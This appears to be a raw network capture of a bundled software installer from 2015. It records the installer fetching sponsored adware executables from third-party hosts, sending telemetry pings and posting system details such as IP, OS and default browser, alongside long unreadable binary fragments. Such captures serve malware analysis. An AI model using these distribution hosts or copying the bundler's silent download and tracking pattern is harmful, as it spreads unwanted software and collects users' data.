15 09:23:40 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.45 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:41 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.98 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 30 Apr 20
15 09:23:41 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.98 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.42 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 30 Apr 20
15 09:23:45 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.42 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=617755-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: f/D1fqwyxlhJIBCWxrLZ6DPFoktcKJo1pomGdP4Z4a0aZDK3kx3g1FBrL9lKblR/aNxCbAUjf3Y=
x-amz-request-id: ED2DBFBB3CB9EC45
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 617755-988407/988408
Content-Type: application/octet-stream
Content-Length: 370653
Server: AmazonS3
...m$......"4C..HA.e...P.V.9J.2.E...."X..!X...>.U.oL{$.!.......5..h
.9\...Ua.M.%....... .5.}[email protected].'...'..My.......3i.........e..SPNO.ka
..R...f...5Mm..............c....W..%z`..U........D.h]...\q.....vyr..2.
.$.[.8M..6...=.*..g...J. N-k....w........G....s......6.3?>...).>
D..J.^.c/.N....u.6.....s...{....L..n......:........'...,...^..mg...BO.
>..}H#..N.'.F...%.....p..#....t...zV.,.\9.......D...B...B.:.[.IYZ..
.c..^K..[(d....H.......FwD.......z..L....-.i(.......I.....x.*..s[.....
b.H0DR..<"......d..w.{..v%e.8n......6t..P..>VK.e...4...B(7...>
;.a....K..A...Z.%.x."...:O...!...".p`......t.....q..Z...".....t...s;."
.[h.#z..ZG....&A.(.....@..........}...?g..u(.M..[.dD..h.7C4HS......I.-
....'.....|O......X[.....2"6.lR..(......m_....f...........u...n....Y..
i.9.......5..5..<7 ...0.c...|.i..zHh8..B'.........B.~1..;....A.T.H.
.FT.....8.9L..i`,..t.!C...B.<..lQ..W...F[....|T\..o.f...e.....H.o..
..9U....p.ReW.z.wJ.....A.!.#.../0.......E..v...X.M.(.:p[...b9.{#N.....
0...%6..AsI....'.........9.H%}6.0..'.;..R5.........4.j.Vw..g..N$...q..
..........s.}.)........\.2..^P..f....UA.bQK...o.~B..D...F...W.....)L..
./.wL]>[email protected]^.x......&G.Z........G..2.WuO......&.....T.W..
.)(..D.e.........C .Bl.U{...hC..ml0.......x......3...............h|...
.d.0`3.6$l.)Q...e.....BPo|-..@..<,K.0t.....2g.o./4..(.q$.M..M..X(J}
..F.Y.%Z..9.'.n...WR.V.V..I:.S`..uA.(h9FN.c..X.........4..........kD..
....>7.6%..n..`.v..R..w.u:.n.......u5f.!K*....6:...tK..n...k.%...AJ
.".../..}p.g...3.2.m.[..6....g..F...C......G_..B]*..i.<PX./gMI.
<<< skipped >>>


GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAANwFAj/+8EUwCY4AAQAA3AU= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.msocsp.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:21 GMT
Content-Type: application/ocsp-response
Content-Length: 1757
Connection: keep-alive
Set-Cookie: __cfduid=d255d9131c2dfbf78a64a3dd9d937142e1430385861; expires=Fri, 29-Apr-16 09:24:21 GMT; path=/; domain=.msocsp.com; HttpOnly
Last-Modified: Thu, 30 Apr 2015 08:21:31 GMT
Expires: Mon, 04 May 2015 08:21:31 GMT
ETag: "ee8838bd23fde578d65b77b80ce23de4720f56fe"
Cache-Control: max-age=10800,public,no-transform,must-revalidate
X-Cache: HIT
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1df23172bf1b046d-FRA
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0430082131Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z.....?..E0............20150430082131Z....20150504082131Z."0 0..
. .....0......20140430082131Z0...*.H...............}...#...L........L.
h-!.....c . mj.&..P....*...i.3E.G&#.;....=..~a....iC.....r.F!.m...@7..
........A...Z)H.W..0.....l.......4915.%..Ej.tK<........y...vh.=.w..
..-]..!...;c..{.....k....2.....|..<. ./%.?......z.d's....1."O ..!..
IZ.....E......P.6)4.B..D^@@.../....0...0...0..........Z.....W.3.......
...0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redm
ond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....M
icrosoft IT SSL SHA20...150304231653Z..150518231653Z0!1.0...U....Shoul
d be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=f..
..x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.......
....bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*....
...x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.M.O
.....<5:......r.....]..A.5........0..0...U..........<.|7...@N6p.
I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... ...
....0... .....7....0.0... .......0... .....0......0...*.H.............
....9........V.O..o.6........O......8=\..Uy}.%..y.^.*_#@.L.\....s..im.
k.\Y5.h.h.%.&%.E]..G...aAn./q...omj........e.._....|.S...y0..$....|A@.
._Xl98k.Q...s5. ;....|p....n/\"d0.c#..7....1Nv...h8.X.G....F.x.(K.....
lx1. .......O.....%.Gk|......"[email protected]/.o-....\.r....@I.
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=167832-335664
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 167833
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 167832-335664/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B...........r.......$.$.B..$. .B...$...B..4.B.`.B...B.#......
F..G..F.....G..........r....$...B..I.#......F.....G..........r....$...
B..#.................r....$...B..I...B...B...B...B...B...B...B...B..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...B
... .B.(.B.4.B.H.B..E.^_........E.^_........F..G..E.^_...I......F..G..
F..G..E.^_....t1..|9.......u$.........r......$...B......$.\.B..I..
<<< skipped >>>


GET /awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:23:47 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.F.6..?.....(...vz...........I....I...A..!...|..].
y........N.>..-.(T.jX..w...M..OWIm.....?.u...=......E\....<YD.r.
..s.O..Yz....(X$..;...X....N/?MkQ.......'....|..F..\*.n...}..^.Y....^.
...<..7...`.u.$.... .......a.....?..Er>......r1....w.H...{w9I._.
....b.w/..q..-.`....._.C}k..<....l....D.;.i..!.%...r.}..K...$.c=.i.
..........".N..u0.L..V..Y.)......fh.v.9.<Y.Fx.o.,....i.|....1.~@.{(
2.J\&..{.....<...y.-]a..P..>.,..Z.N..d..C7.........t...8._.O....
..-.]ap5.....y'.._%....}....F....l.O..y?.%..W.n^F..3J0....o.!]t......m
-s..\...<..gX..O....:./...#...1.......y:...=L|..n.e.f.......9>..
.....Io..M..R&~..).,...,^..{....4..w...b......U%....}..L.r.M.>f.>
;...D7...>.$...G%......K...i..~.........0..6F&....%.1..\........7.M
.W.q..t.../.../...=_..6....y-.......t...%R....Yw..........W....O......
........O.e..<._a... [email protected]....&?$#t...;K.T..]...s.Y...Wo..
..9....Lz...J...=J...;.0v.L.......R.Q3o'$]..k..k...,....]..t....8_.Fn.
.^u....%h..{.'.v..._.......?..}..~g..........89.;X. D...d............z
1...u..0..S\.-Q?.t......|.i.....N..u........(...[...u.&..~].......}...
............}. .u. ?v..k...^...R..{.....W~.~..V.....W......[.......V~.
-. .w.x..........W.g..{_...*.w...W......W~....]....b...K.k....8....'R.
.(......Kyr...g.O...'z.(.'r#..>.......O...g..gQp....5..2Y..2u......
J...{g.............G..D..z.v.n.z.,[email protected]..
..m.....l....u....tVg.$.=H.w.G.d...4.I.:..{.F.%.......wO..(......E...@
...........[.:...l....a:....z'..7aw9.a....a).....-...A.0S..L..FUK.
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Content-Length: 2701
Connection: Keep-Alive
Cache-Control: no-cache

country=UA&uid_orig=69fcc8129cc3cf46b36b738c6b72bbc0&uid=69fcc8129cc3cf46b36b738c6b72bbc0&affid=awde7zip23008&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTgw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=2aae405795625b274d57fb22368000ad&tokyo_csrf_timestamp=1430385827&unique_id=false&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAKpiO4REHih3bZNHkqNA
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:23:48 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
fe5.............\ms.6.. ........'.....i/......zU......$x (E......IQ.-K
N|.&.Lk...b.X<...."...R....[....X^.t.d........,.<.l...x.;...go..
.R5gs..,.i(bf.be.....\...k..<._.az..[...E.0..aF1.n.......=...y.....
f#t.....O...H...X......%/T)f]......"7.>.fT.....1..8.......g..:':G..
Ra.J_.H..X..eZ.b.t.K..;.LiU..q5r.....?Sa....g..HS.. .B......;.)mV.....
.V,......SWD.n.m..D......Q.F.. tc..p...2s..^..~......\/....c)C!"t.K-.{
!.".KQ...$.s.B<r...MAD.Z..|.l....,...{Z.*.......\R......K.....s....
K>.<.JhN..Di.m..{gZ.9.1..CK.;.....1.3.....Ac.Z..|u........S.cg..
..'V[5.O%[email protected],....v.m{..&.I.i...o"..D.(.6~.....A.F..7v.
a. ..HE.JZ..j...zh...$.M..tC.G.n%.P.. ..5FO...6{7.w..r......q0....S.N.
...^).6m....\....I..`.i..|......A.z.={[email protected]..{.....B.*.b.....:.
|o...Z.zs1......Y\.2I.m.......3bgU.`.4..B.x55&;......e8V...n~Tt .E4.PE
.....Dj...`}......>..#...L.......wQ..0.zB....:|.`...E).(.j502......
..AD..B..6".d...y....j.9./.l.A.*p*.~.........J...6T.{..,.Tn.p*........
5..^..........JR......r........Qn...B..z.....!.......N^<..%[.....&l
t;.. ...qj...ZJD.4...T...`....q..l..{..D/..i..X..|.U_Z.....8.J...%I...
......!u......)F.p$.(.|.....^....h.N..6...L>...2..n.'..........o..H
.Y.Hv{G.6.....NO~|d.~|.._.{.Ao.8...>...R.KE...^.t...H.>...n...G.
M-....T{.Mv.s[.h7h.m9........~p..Z...g1Oe...[.j.............J^..Z.v...
.F.`......... ..=y....,.....6....S.1....<}e...,.........v.......rl.
.k....4..'8Ud/\......;a.v...=t.k.B..d.m..W...n..i..8....$.....t...B...
.Gt.f.;s.........m...'..R.{n......./.|.z...-....}5p.\..c;o.s,...].
<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.22835313965265952 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.1.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:23:54 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:23:54 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /home/smt_istartsurf.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:04 GMT
Content-Type: application/octet-stream
Content-Length: 671328
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:04 GMT
Cache-Control: max-age=259200
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..
<<< skipped >>>


GET /2763.ashx?e=p9HAq5TtKa nb5JQEhhcuGOp2UthrW4qQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaW4LiTw82/YNr7XCLs/WzKJ9eFhsT1abeQqykZerlmJWOBvq/txek 4iYlmtiSGZOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:14 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:14 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......



GET /sd?is=sm HTTP/1.1
Range: bytes=327035-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 327035-523255/523256
Content-Length: 196221
Connection: keep-alive
C.......4..e.(.....7.dQ.I......l....J..:.W<.m7Fd/.!.I.s.....z...Q.(
O.....h.........V...E....T..K....K...".}..O%.K...D..Me.."..b....9.D..Q
..L?..`......`..!|X.=....vt5..2w...%.q.$R....).. ..t..f...&......V.6..
....V...J...}l..),"[C...ro U..g$4...?JO/#.p...[T..}l....m......R.....B
.-c..........D..../....$..r3..........!!.o..#'[email protected]........
...)n:S.`....ZP.:Ih.!.\..Za[P....u.@.'.....0.8..^.6.............R...J.
..T.e.a:._y.".$y......x......9.N..aL[..2..Z$....[.y,u...0^..a..pJ..P..
[email protected]..^%2i..rJF..C..0c...}..&....z`.2h"'.;.L.n.
....j4........b..47.....B...8....\.}Ta`.<........K....<..."..j.o
j}.}..<aQ.........iIy..'.6E...........EI.@....>......m.........|
.}[email protected]@"....G4...C..A...o.6...97..H...%.[g...
"[email protected].~P....*[email protected]....`......m/.........yY.>
.....=...VEd.-.........q.V0..,.i.H:...X...73....Q..E.%.......h..q.bHO!
.c...H...|..<....}....%....9..>M.......fd..>..\....._4eh..../
.C [email protected].........=.p...........L....}.
.Id....x..Gq.M.^.w.I'..a.\Ca.v.7#..vP..^..m..&..X.k.L.L.....r.........
.S|.r....l=.YYr..`9..........e.y!..p...o........p[......-..S..........
J...x....g~........F....E....W.....D0....-p].Wx...'...d0m;9..a......k.
........c1.;...........`w.k.{O......P..E``.<b.......c[}.}.....Iy...
j?,.s....}T>...*.V.|...L9........M..68..v]...M.H......ycr......'.U.
...a...K....Z.J~..GCB&..7F.1.l.! .&.m.O)@y...x%.%..c>.#.....>.(K
CN...m.y....J...;.s.G..i.U...}...~..z^P......B....H.>.5........
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 0-523255/523256
Content-Length: 523256
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=555240-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



..Bb.....k........)Q..-.BS.....*.Vp.IV&&.b....[..MT.....$%.cH..V.r....
}....QhG=c.&..R....h.C&N`....D."Z%c..^YP......[.$..U.y.I ..l.........%
U4IWg..|8w.-............k.H.Yw...:)y5'......dM..W...R........i...;.,N.
?.o=.....:0...O..7..c..;o...F..qLG..bF..V<9fl....'.#[email protected]'..J.
 ..t.....#.....BI.N.v..t..E.....A.F.........0jm .SS.......?..6Z.e.9...
.T......].xP.C.v.#E~..w......c.a$'.qbAn....i..ru.....X\.... ..85d...7.
N..2'.h.^.K.j.&.x...V.y..>..XD...V........D.,..e.vN.U&.....8p.{.|..
........G4...N..e........%_...A.wu.....[....$C....#x.R..Fy......<..
.(4UJ...$....k....,..{.....h...n$.Y.H.S&]..J..H@a.!,.u..R{..}m.L.f.K..
.....B..X...2C.8-D/3..I...Q.O...Z..Br..c.UX\.0..k..>..*....@.......
......(...L......}..q.$..9....l.......K<.HS.W/..O..6.l_.E. f....R..
...N_.M..x.....a.....  "..._..7..u#.v....9<m..z.........-{S.7...w?.
...=9..}.",.a%....Q.3.%...^./N..=.....#B.{{...N.{....~......mi3..=e.4`
v.<.j~v[=....x.... 3..N..................5|.Y....<...6d..(..Q2..
.:..C..#}...L..H0..._.F_..7]....sv..9|.A...]l...bs.D.H`as.....z...|...
S...m...._[.5..........7\..A^U....z1../Di..:o._.K..)F.P...,........\.X
t.."....0a5..(....K....1......D...x.Vr..b~k.....'1m) ...Jk;K.....cKm..
"..uP.....(Tz......J G...r....y....a...f..w1a=[.='3_..n...l`..|.....4.
c..f9z.EP.\!r..v~y.y......b.1....0.l;j.8...........r... ....$.....~ Ph
......z.#...Y^.r...g.......B. ....x.6C.P...._EH...*...(.mM....a.A..S.b
|5.3.0}`.u....m.d.%.....6.=......B)u....)'a.......1FMe.......%..HF.5f.
.p.....LQm.y.....f..a....m.......!V.k..(K8..5..._.x.....x2C..!....
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.thawte.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1503
content-transfer-encoding: binary
Cache-Control: max-age=397319, public, no-transform, must-revalidate
Last-Modified: Mon, 27 Apr 2015 23:44:56 GMT
Expires: Mon, 4 May 2015 23:44:56 GMT
Date: Thu, 30 Apr 2015 09:26:38 GMT
Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015042
7234456Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150427234456Z....20150504234456Z0...*.H........
.....c#...q..*3.i.....!.......&. ..PT....;.......=.l.6..2...A.eE..NV..
a....h...7.#R.R.o.;U. ..kt.).....K..A...z.I...\^?.!....=I^.l&...7.p...
.mH.G......6..M9zZ...PkS....==..m.....<.....?u}..R&......(.6.w....\
...i.}......RG...Bg_h....|.D.../.A-..&...........,cr.>....0...0...0
............I...*....^n...0...*.H........0..1.0...U....US1.0...U....th
awte, Inc.1(0&..U....Certification Services Division1806..U.../(c) 200
6 thawte, Inc. - For authorized use only1.0...U....thawte Primary Root
 CA0...141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, I
nc.1907..U...0thawte Primary Root OCSP Responder Certificate 30.."0...
*.H.............0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.
s.....S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..
8|.B..^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..ka
o]c...>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<
;.3.)...y#.........i0g0...U.%..0... .......0... .....0......0...U.....
..0.0...U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H........
........lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f...
 .........GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya
..:...^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S...
.h........U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.thawte.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1396
content-transfer-encoding: binary
Cache-Control: max-age=581668, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 03:00:39 GMT
Expires: Thu, 7 May 2015 03:00:39 GMT
Date: Thu, 30 Apr 2015 09:26:38 GMT
Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0......Qw.}`[email protected]
0030039Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20150430030039Z....20150507030039Z0...*.H........
........."..l....1;t/ZeVX ..!y.{.{.J....8.OP....J..IU..k..U5..Mw...V..
